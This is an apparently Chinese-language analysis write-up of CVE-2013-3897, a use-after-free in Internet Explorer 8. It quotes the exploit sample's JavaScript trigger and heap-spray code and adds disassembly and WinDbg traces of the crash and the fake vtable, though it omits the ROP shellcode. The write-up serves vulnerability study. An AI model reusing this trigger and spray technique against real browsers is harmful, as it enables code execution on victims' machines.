一、前文概述
漏洞样本攻击目标为韩国和日本的Internet Explorer用户,系统环境为WinXP系统、Internet Explorer8浏览器.
二、漏洞细节
1)代码分析
CVE-2013-3897通过js脚本触发OnPropertyChange事件;当事件被触发的时候新建一些元素,并且之后改变该元素的位置;这时,IE浏览器的CDisplayPointer对象调用到CMarkupPointer虚函数,但CMarkupPointer虚函数已经被CDisplayPointer::Release函数释放掉;当CMarkupPointer调用时,该虚函数被指向了攻击者伪造的堆栈,通过ROP技术来突破XP系统的DEP防护.现在分析下js流程(如下).

id_0.onpropertychange = function(e){
Math.atan2(0x999, "before unselect");
var tile = new Array();
for (i = 0; i < 1000; i++) tile.push(document.createElement("div"));
document.execCommand("Unselect");
for (i = 0; i < 1000; i++) tile[i].setAttribute("title", str);//触发了CMarkupPointer调用
Math.atan2(0x999, "after unselect");
}

现在来回顾一下js代码中的攻击流程;当js代码执行时首先创建了一个名为textarea的元素,并且通过applyElement附加为另一个新建元素address的子节点(如下).

var id_0 = document.createElement("textarea");
var id_2 = document.createElement("address");
document.body.appendChild(id_0);
document.body.appendChild(id_2);
document.body.contentEditable = "true";
id_2.applyElement(id_0);

接着上面,textarea元素通过触发onselect来改变textarea的valueproperty,通过调用swapNode来改变valueproperty,触发后来的onpropertychange(如下).

id_0.onselect = function(e){
    Math.atan2(0x999, "before swap");
    id_2.swapNode(document.createElement("mark"));
    Math.atan2(0x999, "after swap");}

这里请注意,id_2(address元素)的子节点是textarea元素,通过交换节点从页面布局删除textarea,并且重新插入一个新元素,这样一来改变了value,由此触发了后面的onpropertychange事件;触发onpropertychange事件(如下).

id_0.onpropertychange = function(e)

接下来应该是改变textarea元素布局的展示位置(样本使用了document.execCommand("Unselect")命令撤销select);在这个时候,其他任何一个元素执行SelectAll命令或者其他任何一个操作,都将会触发DisplayPointer来改变textarea的位置(如下).

var tile = new Array();
for (i = 0; i < 1000; i++) tile.push(document.createElement("div"));
document.execCommand("Unselect");
for (i = 0; i < 1000; i++) tile[i].setAttribute("title", str);//喷射伪造的CMarkupPointer指针

//伪造准备喷射的数据字符串str

var str=unescape("%u1414%u1414");
while (str.length < 0x50) str=str+str;
str=str.substr(0,(0x48-2)/2);

Js的select调用到了CDisplayPointer::ScrollIntoView,通过DisplayPointer来设置新展示位置;不过接下来的时候,引用的CMarkupPointer指针是已经被CDisplayPointer::Release函数释放掉了,并且指向了一个由攻击者伪造的堆栈区域;最终在QIClassID流程的时候,代码尝试执行CMarkupPointer::QueryInterface接口(CMarkupPointer虚标偏移为0)的时候可以被攻击者获得系统权限.
2)汇编分析
先来看下崩溃点,当调用虚函数CMarkupPointer的时候,这个地方会发生崩溃(如下).

.text:74DDD093                 mov     eax, [ebx]      ; CMarkupPointer
.text:74DDD095                 and     [ebp+var_18], 0
.text:74DDD099                 lea     ecx, [ebp+var_18]
.text:74DDD09C                 push    ecx
.text:74DDD09D                 push    offset unk_74DDD0E0
.text:74DDD0A2                 push    ebx
.text:74DDD0A3                 mov     edi, 80004002h
.text:74DDD0A8                 call    dword ptr [eax] ; carsh here
当CMarkupPointer虚函数指针没有被释放,并且正常执行的时候(如下).
eax=51dac52f ebx=00533d24 ecx=00000000 edx=0000001e esi=02d5d84c edi=02d5d81c
eip=70a6d093 esp=02d5d7fc ebp=02d5d820 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!Ordinal103+0x3a92e:
70a6d093 8b03            mov     eax,dword ptr [ebx]  ds:002b:00533d24=b0c0a670
0:005> dds ebx
00533d24  70a6c0b0 mshtml!Ordinal103+0x3994b
00533d28  70a74588 mshtml!Ordinal103+0x41e23
00533d2c  70a79e14 mshtml!Ordinal103+0x476af
00533d30  70a79dcc mshtml!Ordinal103+0x47667
00533d34  70a79e38 mshtml!Ordinal103+0x476d3
00533d38  70a79e84 mshtml!Ordinal103+0x4771f
//堆栈分配结构
0:005> !heap -p -a ebx
address 00533d24 found in
_HEAP @ 4e0000
HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00533d08 000d 0000  [00]   00533d10    0005c - (busy)

现在开始调试样本,模块漏洞发生点在mshtml模块,当模块装载后下条件断点bp Ordinal103+0x3a93e ".if poi(eax)=77bd18d3 {} .else{gc}",因为ROP链是使用msvcrt模块中的固定地址,eax指向调用指针;当断点发生的时候,被释放的指针区域已经被攻击者控制了,也就是js代码中通过修改数组元素title的属性喷射的指针如下).

0:020> bp Ordinal103+0x3a93e ".if poi(eax)=77bd18d3 {} .else{gc}"
0:020> g
eax=14141414 ebx=0727e174 ecx=02f99f58 edx=000000c8 esi=02f99fa0 edi=02f99f6c
eip=70a6d0a3 esp=02f99f40 ebp=02f99f70 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!Ordinal103+0x3a93e:
70a6d0a3 bf02400080      mov     edi,80004002h
//ebx对象指针区域被喷射成了js中的地址(14141414)
0:005> dd ebx
0727e174  14141414 14141414 14141414 14141414
0727e184  14141414 14141414 14141414 14141414

现在来看下攻击者伪造的虚表指针;表中的地址该是msvcrt模块中的固定地址;这里是Win7系统,没显示模块名称并且是一个错误地址(如下).

0:005> p
eax=14141414 ebx=0727e174 ecx=02f99f58 edx=000000c8 esi=02f99fa0 edi=80004002
eip=70a6d0a8 esp=02f99f40 ebp=02f99f70 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!Ordinal103+0x3a943:
70a6d0a8 ff10            call    dword ptr [eax]      ds:002b:14141414=d318bd77
0:005> dds 14141414
14141414  77bd18d3
14141418  77bcef5b
1414141c  00000000
14141420  77bcf519
14141424  77bc1118
14141428  77bd3e25
1414142c  77be746a

再次单步P键,第一条ROP地址执行错误,因此出现了内存访问错误(如下).

0:005> p
(27c.ccc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=14141414 ebx=0727e174 ecx=02f99f58 edx=000000c8 esi=02f99fa0 edi=80004002
eip=77bd18d3 esp=02f99f3c ebp=02f99f70 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
77bd18d3 ??              ???

使用!heap -p -a ebx指令查看一下伪造的虚表指针处分配的堆大小结构,Win7 64位为0×48,也就是以0×48为一个单位进行喷射(如下).

address 0727e174 found in
_HEAP @ 4a0000
HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0727e150 000a 0000  [00]   0727e158    00048 - (busy)
0:005> dd ebx-0x24
0727e150  2eebd58b 88000000 14141414 14141414
0727e160  14141414 14141414 14141414 14141414
0727e170  14141414 14141414 14141414 14141414
0727e180  14141414 14141414 14141414 14141414
0727e190  14141414 14141414 14141414 00001414
0727e1a0  2eebd595 88000000 14141414 14141414

后面的ROP_shellcode不再进行分析,因为病毒、木马、漏洞攻击都基本上是一个样.
三、总结经验
要拥有绝对的耐心以及拥有绝对的恒心,并且注意资料的寻找以及英文文章和技术文档的查看;再者当分析过程中遇到问题的时候尝试去解决它,不要逃避,要积极的面对,才能获得最后的胜利.最后,祝你好运

By:vscen